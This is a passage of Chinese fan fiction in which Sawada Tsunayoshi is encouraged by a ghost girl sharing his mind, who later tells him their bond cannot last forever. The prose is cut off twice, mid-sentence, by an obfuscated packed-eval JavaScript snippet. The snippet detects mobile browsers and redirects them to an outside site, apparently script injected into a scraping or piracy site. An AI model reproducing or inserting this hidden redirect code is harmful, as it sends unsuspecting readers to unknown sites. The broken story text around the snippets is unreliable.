他没有底气来支撑他的勇敢。诚如沢田纲吉所言,他成绩很差、没有人缘、体能不好、没有特长……不管从哪个方面来说,他都没有能够汲取勇气的资本。 所以,在听到她的鼓励时,沢田纲吉的第一反应不是感动,而是恼怒的荒谬:你在自说自话什么啊?难道我能做得到这些吗?你根本没有考虑我吧!然后是深深的无力,因为他什么也做不到。 他陷入了低落。 岂料,这个看不懂眼色、读不懂空气的家伙却情绪高昂起来,开始在他脑海中大怒发问:“喂,你在说什么?“不知道勇气从哪儿来”?——蠢纲,你给我道歉啊!” 他被劈头盖脸来了那么一下,呆了:“诶,呃……对不起?” 她怒气冲冲:“简直是岂有此理,连这种话都说得出来,是把我放在哪里。我可是你的随身外挂,神秘老爷爷,你的勇气来源啊!三十年河东三十年河西,小纲子,给我振作起来啊!!!” 沢田纲吉:“……”串台了吧啊喂!!!小纲子又是什么东西啊!!! 他的沮丧被拍到九霄云外,所有情绪里只剩下目瞪口呆。当务之急他只能弱弱地反驳:“呃,你的声音听起来不像年纪很大……” “我死的时候年级不大,但那又怎么了,”她恼火地说,“我可是一只老鬼了,你叫我一声爷爷也是理所应当的!” 沢田纲吉:“……” 他发出孱弱的呻吟:“……真的,我说。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889192|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个还是算了吧。” 她在他脑海里转圈圈,想来想去觉得不能这样算了,干脆开始乱出主意:“哼,不能就那么算了。你刚才不是说不知道勇气从哪儿来吗?这样吧!以后你遇到事情就呼叫我,我给你勇气。” 沢田纲吉:“勇气又没有实体。”能说给就给吗? 她:“我也没有实体啊!” 沢田纲吉:“那不是更帮不上忙了吗。” 她:“我可以教你打架,也可以教你做作业。” 沢田纲吉:“……我知道了,我会选C的。” 如果有实体,此时此刻她的眼睛就会喷火,这火得把沢田纲吉烧得吱哇叫。她恼火地说:“我是认真的!你不是说你什么都没有吗,可你还有我啊。没有勇气就向我借,我会给你的。就算我也什么都没有,但我可以陪你一起挨训,陪你一起被打,然后努力地做题,狠狠地打回去!” 她说:“这还不够吗?” 这还不够吗? 所以说啊这些是很珍贵的东西吗!一起挨训一起挨打,这种事情难道很光荣吗? 这还不够吗? 别人的外挂老爷爷都是随身带空间出手就是天下第一功法的吧换到这里就只剩下了随身是不是太寒碜了?! ——这还不够吗? …… ……… 够的。 沢田纲吉没有在生日上许愿,因为他知道许愿也没用,上帝哪里有空实现他一个小喽啰的愿望;对着作业抓耳挠腮时他当然也苦恼,可是苦恼过去后他还是要习惯这样的生活,因为没有人会陪他一起挨训;被混混拦住时更不必说,沢田纲吉想到最好的办法是抱着头蹲下等待暴风离开,哪里会有人拉着他的手说快跑啊阿纲我们跑出台风天? 沢田纲吉想要得到的就只是很小很小、很少很少的东西。 可因为什么也没有,就什么也不奢求。 哪怕他需要的只是这样的、很小很小的、很少很少的东西。 ……可是。 如果有人将它递到他面前,不耐烦地说愣着干什么啊蠢纲快点收下它举起宝剑啊我们要去大冒险了! 大冒险大冒险大冒险! 一辈子老实巴交的村民A沢田纲吉便站了起来,举起了破铜烂铁的剑,看看远处一爪子就能把他摔成五六七八块的恶龙,又看看眼前向他发出冒险请求的公主。 他呆呆地问:“那我们什么时候出发?” 26.沢田纲吉回忆篇(四) “为了监督沢田纲吉成为一个勇敢的人,哎哟我们需要建立一个监督制度。首先是哎哟哎哟你轻点,首先是成立监督委员会,嗷嗷嗷痛你轻点,会长是本人,副会长也是嗷嗷嗷沢田纲吉你会不会上药啊!” 沢田纲吉欲哭无泪:“我不是故意的……” “给我小心点啊你这混蛋是想找打吗koruuuu!”她凶神恶煞地发出弹舌音,“先给你点教训尝尝!” 说罢沢田纲吉惊恐地看着自己的手臂不受控制地抬起来,拳头哐一下砸到侧脸的伤口上。 “痛啊!!!” 两个人同时大喊出声,显然都痛得不轻。沢田纲吉呻吟:“你在做什么……明明你也会痛不是吗!” “这是威严啊威严!”她严肃地说,“感受到我的威严了吗以后给我言听计从啊蠢纲!” 严肃到一半她小声地换气吸气,沢田纲吉当然把一切都听得清清楚楚。威严?什么威严?他不笑出声就不错了。 当然他知道这时候绝不能提出质疑、必须得顺毛。他说感受到了!然后将动作放得更轻,继续给自己上药。 她继续说:“咳咳,作为委员会会长,我将制定严格的勇气标准。这样,我说‘好’的时候,就说明阿纲你现在做得不错,我说‘很好’的时候,就说明阿纲你已经跨上新的台阶,我说‘很很好’的时候,就说明……” 沢田纲吉麻木地听着她不断增加“很”的数量。 ……这什么古古古古古古米啊! 最后,这人终于说累了,把声音提得高高的:“重点来了!别低头,快听我说!——最后,如果我亲口说‘阿纲你是个勇敢的人’,就说明阿纲你已经通过了考核。沢田纲吉是个勇敢的人!怎么样,你觉得这个仪式怎么样?” 还不等沢田纲吉发表意见,她就又有了新的想法:“仔细想想这个仪式还是太简单了,一点也不符合我的身份。不如还是这样,在春夏交接的季节里,太阳升起的时候,我们找一个天台,俯瞰整座城市,到时候我深沉地宣布……” 沢田纲吉:“……” 沢田纲吉:“我们还是用第一个仪式吧。” “仪式”两个字,他说得很艰难。 为防止她继续发散思维,他手上用了点力,伤口的疼痛冒头,她果然又大呼小叫起来,说他涂药不专心。 总算揭过去了。 他松了口气,继续给自己上药。 说起来刚刚他照镜子时吓了一大跳:鼻子下面挂着两管凝固的鼻血,脸上青一块肿一块,衣服也被扯得破破烂烂,看上去好像在垃圾场里被当成一锅菜狠狠地颠勺了,真是狼狈。 幸好房间里面就有医药箱,他也有给处理伤口的经验,便自己给自己涂药。 一边擦药一边痛得龇牙咧嘴。 “痛痛痛痛痛……” 她“痛”了一会,冷不丁问:“喂,阿纲,你不会怪我吧?” 没有明说,他却马上领悟了她的意思,反应过来后摇了摇头说不会的。 “怎么会怪你啊……又不是你的错,而且,”他小声地嘟囔,“我其实很高兴……。” 诚然他受了伤,伤口很痛,痛得他龇牙咧嘴眼角蹦出泪花,可他不得不承认,他是高兴的。 伤口从来不是勇气的罪过,而是少年勇气的证明。 “但是,”他转念一想,觉得还是得防患未然,“那个,下次动手之前,能不能先和我说一声?” “跟你说了之后你马上就跑?” “才没有!”他恼羞成怒,“是要做好准备……好吧,好吧,我不会跑的……别这样怀疑我啊!”他最后嘟囔,“我会努力的。” 他抬起头,眼睛亮晶晶地说:“我会努力得到你的证明的。” 他想听到她的承认,“勇敢的人”,这个落俗的称号,沢田纲吉从未如此渴望过它。 · 她说到做到,对顽固的“永远”发起挑战,从此沢田纲吉便不再信那些看上去永不改变的设定。 “‘永远的社会底层’?渣滓,给我再说一遍,我把你捶成肉饼你信不信?!” 被抓住衣领子鼻青脸肿的小混混仓皇摆手:“不不不,都是我们有眼不识珠,大人,请放过我这一次吧!” 班主任有些惊讶地看着手里的试卷:“嗯……这次月考,有一名同学进步很大……沢田君,比之前进步了十六分,很不错啊!” 沢田纲吉匆匆跑上讲台领走自己的卷子,往常全军覆没的选择题因为C选项而多得了十六分。同学议论纷纷,探究目光汇聚在他身上,包括班里的明星棒球手山本武。 他有些脸红,跑到座位上坐下,听到她得意地说:“我就说吧,分数怎么可能永远那么低。瞧瞧,一次考试进步十六分,两次进步三十四分,三次就是六十六分……” 她数了两回,高兴地抬头:“再过三次考试我们就能拿到满分了!” 沢田纲吉:“……” 他明智地咽下了“这个计算是不是哪里不对”的善意提醒。 沢田奈奈是个挺迟钝的人,对自家儿子的变化感受得最迟。可有一天沢田纲吉坐在餐桌边扒饭,她突然托着下巴,笑道:“阿纲长大了呢。” “妈妈……?”沢田纲吉有些呆愣地抬头,嘴角沾着饭粒。 沢田奈奈噗嗤笑了:“还是一团孩子气呀,阿纲。不过,也已经有自己的想法了。” “长大之后,阿纲想做什么样的人?”她似乎只是随口一问。 沢田纲吉便也随意发散自己的思维:“长大”对他来说还是个很久远的未来,少年对它的印象模糊,不知该如何勾勒它的形状。 嗯。总之、大概,会一点一点地……变得更好?可是到底是什么个好法,他也说不清楚。沢田纲吉呆了好一会儿,什么也说不出来。 晚饭之后,他帮妈妈洗了碗,回到了房间里写作业。写来写去神思不属,刚好这个时候她冒头了,看着他的作业信誓旦旦地说选C。 排除A,排除C……他乖乖勾了B,又在她指挥下写了几道题。终于,他问出了声,少年好声好气地同他灵魂的半身商量:“以后我们该做什么职业呢?” 她显得很诧异:“什么职业?” 他解释:“不是都说工作要和兴趣相关吗?如果是很枯燥或者很讨厌的工作,那上班一定会很难受吧。所以选择职业很重要。”此时沢田纲吉对自己的初步定位是公司社畜,需要考虑的是牛马的种类可能不同。 她赞同:“虽然工作总是让人痛苦,但如果能选的话,显然在游乐园给小孩发气球的工作好过在工厂给苏打饼干扎孔。” 沢田纲吉脑海里浮现出游乐园里穿着玩偶服给小孩发气球的工作人员的形象。浮现到一半,他想起平时这人的德行,开始有端揣测如果是她,没准会发气球发到一半和小孩争论起来哪个气球更好看。 他在纸上写了“游乐园发气球”,当成备选其一,甚至琢磨起暑假要不要去打暑假工、短暂体验一下。接着他继续一本正经地问:“除了在游乐园给小孩发气球,还有什么好的工作吗?” “在鬼屋里扮成NPC吓唬客人,”她阴深深地说,“猜——猜——我——是——谁——” 这个星期第三次这样吓他了。沢田纲吉镇定地写下“鬼屋NPC”,又问,“还有呢?” 她连着说了几个职业,从早餐店老板到回收废品,全都说了个遍。终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898548|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她觉得不对,停下了话头,说:“你问这个做什么呀?” 沢田纲吉别扭了一会儿,说: “以后找工作的话,总不能不顾你的意愿吧……” 身体里有另一个灵魂,听上去很离奇,还很惊悚。但时间长了之后沢田纲吉真开始考虑长远的未来,不知为何他觉得有些羞赧,便语速飞快地找了个理由:“如果你觉得工作无聊、干扰我工作,我会被扣工资的。” “哦,”她总算听明白他的意思了,然后她不可置信、愤愤不平地问:“可是你工作的时候,我为什么会在?” 沢田纲吉误解了:“你不喜欢的话当然可以去睡觉。可是,我也希望你喜欢……我希望我的工作,你能够喜欢。” 说得更通俗一点儿。他希望他是走在一条她喜欢的道路上。她不是他灵魂的半身吗?沢田纲吉不是独裁者,他尊重甚至顺从她的意见。 她却沉默了一会儿,才道:“可是,工作是很远以后的事情了吧?” 好吧。沢田纲吉考虑片刻自己能不能考上高中、考上高中之后能不能考上大学……他有些绝望地发现,就算他们选择题满分,其他的主观题也能让他们无学可上。到了这个地步,工作也不是很远的事情啦,少年认命地说:“也许过一两年——三四年,或许我们就要工作了呀。” 她说,一两年! 语气又惊讶,又感叹。 沢田纲吉心头突然生出不安之感。直觉驱使他离开这个话题、去说点什么都好,可还没等他行动,她就说:“那也太久了,阿纲。谁知道那时候我会不会还附身在你身上呢?” 谁知道那时候我会不会还附身在你身上呢。 …什么意思? 沢田纲吉顿住了。 他花了大概十秒钟消化这句简简单单的话,接下来有半分多钟的时间,他在原地一动不动,好像世界呼啸走远了,偏偏遗漏了他。 “呃。呃。我不懂……这是……什么意思?”他磕磕巴巴,从嘴里挤出这几个字。 “我们不会永远在一起吗?” “当然不会了。” 她奇怪地说:“‘永远’是很长很长的时间啊。所以,阿纲。‘永远’是不存在的。” 永远是不存在的。 所以我们当然也没有“永远”。 那你为什么说—— 不,她没说过。 沢田纲吉这才意识到他们没说过“永远”:或者说是提到过的,可她对“永远”的态度这样不屑一顾,就好像她在每一片夕阳中短暂存在,并不渴求永恒的明天。 他所在的明天里并没有她。 沢田纲吉终于感到慌乱,为他的自以为然、她的漂泊不定。“啊,我知道了,我知道了——”他胡乱地说:“那我们不说工作了,不工作也没什么。可是一两年很短、三四年也一样,不是吗?为什么不能——” 在她的沉默中,他的声音断断续续,终于变成虚无缥缈的气音。 为什么我们不能永远在一起呢? 阿纲,为什么我们会永远在一起? 这是不可能的呀。 如果有实体,沢田纲吉会从她的目光中得到一片残酷的歉意。 没有实体,沢田纲吉在沉默中意识到了残酷的真相。 他也沉默了。 半晌,他抹了把脸,提起了别的话题:“昨天的作业……” 沢田纲吉是个胆小鬼,明明对勇气这样憧憬,在看似不可跨越的高山前,他能做的却只是捂住耳朵假装一切不存在,心被扔进大钟,最轻微的振动都能让它泛起巨大的涟漪。 沢田纲吉接受“永远”——放下“永远”—— 现在他痛恨“不永远”。